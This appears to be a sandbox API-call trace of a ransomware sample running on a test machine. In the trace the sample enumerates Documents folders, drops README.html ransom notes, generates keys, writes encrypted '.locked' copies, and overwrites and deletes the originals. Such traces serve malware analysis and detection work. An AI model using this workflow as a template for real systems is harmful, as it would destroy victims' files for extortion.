	[0073.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0073.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0073.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1
	[0073.566] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.567] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0073.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.567] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0073.567] WriteFile (in: hFile=0xc0, lpBuffer=0x126f2580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f2580*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0073.568] CloseHandle (hObject=0xc0) returned 1
	[0073.568] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a0a0*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a0a0*, lpNumberOfCharsWritten=0x127ee8b0*=0x50) returned 1
	[0073.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400)) returned 1
	[0073.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.570] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.570] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.572] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.572] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c680 | out: pbBuffer=0x1238c680) returned 1
	[0073.572] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796bb0 | out: pbBuffer=0x12796bb0) returned 1
	[0073.572] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc581 | out: pbBuffer=0x123bc581) returned 1
	[0073.572] WriteFile (in: hFile=0xc4, lpBuffer=0x12413000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12413000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0073.574] SetEvent (hEvent=0x8c) returned 1
	[0073.574] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x42400, lpOverlapped=0x0) returned 1
	[0073.579] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.584] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x42400, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x42400, lpOverlapped=0x0) returned 1
	[0073.588] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0073.588] CloseHandle (hObject=0xc4) returned 1
	[0073.591] CloseHandle (hObject=0xc0) returned 1
	[0073.591] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12414000*, nNumberOfCharsToWrite=0x51, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x12414000*, lpNumberOfCharsWritten=0x127ee83c*=0x51) returned 1
	[0073.593] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst")) returned 1
	[0073.599] SetEvent (hEvent=0x8c) returned 1
	[0073.601] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.601] SetEvent (hEvent=0x8c) returned 1
	[0073.601] SetEvent (hEvent=0x80) returned 1
	[0073.601] SetEvent (hEvent=0xb4) returned 1
	[0073.601] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.602] SetEvent (hEvent=0xa8) returned 1
	[0073.602] SetEvent (hEvent=0xb4) returned 1
	[0073.618] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.618] SetEvent (hEvent=0xb4) returned 1
	[0073.620] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.620] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.620] SetEvent (hEvent=0xb4) returned 1
	[0073.620] SetEvent (hEvent=0x80) returned 1
	[0073.620] SetEvent (hEvent=0x8c) returned 1
	[0073.620] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.621] SetEvent (hEvent=0x8c) returned 1
	[0073.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.622] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0073.622] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.650] CloseHandle (hObject=0xc0) returned 1
	[0073.658] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst")) returned 1
	[0073.669] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P7lumiyR5eaK1IBOFo9L.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7lumiyr5eak1ibofo9l.docx"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572cc660, ftCreationTime.dwHighDateTime=0x1d4c19f, ftLastAccessTime.dwLowDateTime=0x14132150, ftLastAccessTime.dwHighDateTime=0x1d4deb2, ftLastWriteTime.dwLowDateTime=0x14132150, ftLastWriteTime.dwHighDateTime=0x1d4deb2, nFileSizeHigh=0x0, nFileSizeLow=0x2612)) returned 1
	[0073.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P7lumiyR5eaK1IBOFo9L.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7lumiyr5eak1ibofo9l.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.669] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.670] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P7lumiyR5eaK1IBOFo9L.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7lumiyr5eak1ibofo9l.docx.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.671] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0073.671] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c280 | out: pbBuffer=0x1238c280) returned 1
	[0073.671] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127961e0 | out: pbBuffer=0x127961e0) returned 1
	[0073.671] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0073.671] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0073.673] SetEvent (hEvent=0x80) returned 1
	[0073.673] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x2612, lpOverlapped=0x0) returned 1
	[0073.674] WriteFile (in: hFile=0xc4, lpBuffer=0x12c50000*, nNumberOfBytesToWrite=0x2612, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesWritten=0x127eebe8*=0x2612, lpOverlapped=0x0) returned 1
	[0073.675] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0073.675] CloseHandle (hObject=0xc4) returned 1
	[0073.676] CloseHandle (hObject=0xc0) returned 1
	[0073.676] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.676] SetEvent (hEvent=0x80) returned 1
	[0073.676] SetEvent (hEvent=0x8c) returned 1
	[0073.676] SetEvent (hEvent=0xb4) returned 1
	[0073.676] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.677] SetEvent (hEvent=0xa8) returned 1
	[0073.677] SetEvent (hEvent=0xb4) returned 1
	[0073.677] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee8a0*=0x46) returned 1
	[0073.679] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P7lumiyR5eaK1IBOFo9L.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7lumiyr5eak1ibofo9l.docx")) returned 1
	[0073.696] SetEvent (hEvent=0x8c) returned 1
	[0073.700] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.701] SetEvent (hEvent=0x8c) returned 1
	[0073.701] SetEvent (hEvent=0xb4) returned 1
	[0073.701] SetEvent (hEvent=0x80) returned 1
	[0073.701] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.701] SetEvent (hEvent=0x80) returned 1
	[0073.703] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.703] SetEvent (hEvent=0x80) returned 1
	[0073.703] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.703] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0073.704] SetEvent (hEvent=0x80) returned 1
	[0073.704] SetEvent (hEvent=0xb4) returned 1
	[0073.704] SetEvent (hEvent=0x8c) returned 1
	[0073.704] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.704] SetEvent (hEvent=0x8c) returned 1
	[0073.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P7lumiyR5eaK1IBOFo9L.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7lumiyr5eak1ibofo9l.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.705] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0073.705] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0073.721] CloseHandle (hObject=0xc0) returned 1
	[0073.729] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\P7lumiyR5eaK1IBOFo9L.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\p7lumiyr5eak1ibofo9l.docx")) returned 1
	[0073.738] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc955c60, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0x192fee70, ftLastAccessTime.dwHighDateTime=0x1d4ceae, ftLastWriteTime.dwLowDateTime=0x192fee70, ftLastWriteTime.dwHighDateTime=0x1d4ceae, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0073.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0073.738] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc955c60, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0x192fee70, ftLastAccessTime.dwHighDateTime=0x1d4ceae, ftLastWriteTime.dwLowDateTime=0x192fee70, ftLastWriteTime.dwHighDateTime=0x1d4ceae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0073.739] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc955c60, ftCreationTime.dwHighDateTime=0x1d4d062, ftLastAccessTime.dwLowDateTime=0x192fee70, ftLastAccessTime.dwHighDateTime=0x1d4ceae, ftLastWriteTime.dwLowDateTime=0x192fee70, ftLastWriteTime.dwHighDateTime=0x1d4ceae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.739] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74526c50, ftCreationTime.dwHighDateTime=0x1d4c6c6, ftLastAccessTime.dwLowDateTime=0x6fa5eb80, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x6fa5eb80, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x5d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="5Szp_wWr9PENCj1pF.odt", cAlternateFileName="5SZP_W~1.ODT")) returned 1
	[0073.739] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf388420, ftCreationTime.dwHighDateTime=0x1d4d1a8, ftLastAccessTime.dwLowDateTime=0xbd2bcc30, ftLastAccessTime.dwHighDateTime=0x1d4d2fd, ftLastWriteTime.dwLowDateTime=0xbd2bcc30, ftLastWriteTime.dwHighDateTime=0x1d4d2fd, nFileSizeHigh=0x0, nFileSizeLow=0x8506, dwReserved0=0x0, dwReserved1=0x0, cFileName="TuDvm7tzErY-EDSrF.odp", cAlternateFileName="TUDVM7~1.ODP")) returned 1
	[0073.739] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad577270, ftCreationTime.dwHighDateTime=0x1d4ce28, ftLastAccessTime.dwLowDateTime=0xeb245b00, ftLastAccessTime.dwHighDateTime=0x1d4d1d3, ftLastWriteTime.dwLowDateTime=0xeb245b00, ftLastWriteTime.dwHighDateTime=0x1d4d1d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="V7fxtVeHfHqqJ_txoS", cAlternateFileName="V7FXTV~1")) returned 1
	[0073.739] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0073.740] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0073.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.740] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0073.740] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0073.741] CloseHandle (hObject=0xc0) returned 1
	[0073.742] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x4e, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee8b0*=0x4e) returned 1
	[0073.743] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\5Szp_wWr9PENCj1pF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\5szp_wwr9pencj1pf.odt"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74526c50, ftCreationTime.dwHighDateTime=0x1d4c6c6, ftLastAccessTime.dwLowDateTime=0x6fa5eb80, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x6fa5eb80, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x5d90)) returned 1
	[0073.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\5Szp_wWr9PENCj1pF.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\5szp_wwr9pencj1pf.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0073.743] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TWBNkQ26WWv\\5Szp_wWr9PENCj1pF.odt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\twbnkq26wwv\\5szp_wwr9pencj1pf.odt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0073.744] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0073.744] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c320 | out: pbBuffer=0x1238c320) returned 1
	[0073.744] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796310 | out: pbBuffer=0x12796310) returned 1
	[0073.744] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0073.744] WriteFile (in: hFile=0xc4, lpBuffer=0x123eb000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x123eb000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0073.746] SetEvent (hEvent=0xb4) returned 1
	[0073.746] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x5d90, lpOverlapped=0x0) returned 1
	[0073.747] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5d90, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x5d90, lpOverlapped=0x0) returned 1
	[0073.748] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0073.748] CloseHandle (hObject=0xc4) returned 1
	[0073.749] CloseHandle (hObject=0xc0) returned 1
	[0073.749] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0073.750] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.750] SetEvent (hEvent=0xb4) returned 1
	[0073.750] SetEvent (hEvent=0x8c) returned 1
	[0073.750] SetEvent (hEvent=0x80) returned 1
	[0073.750] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.750] SetEvent (hEvent=0xa8) returned 1
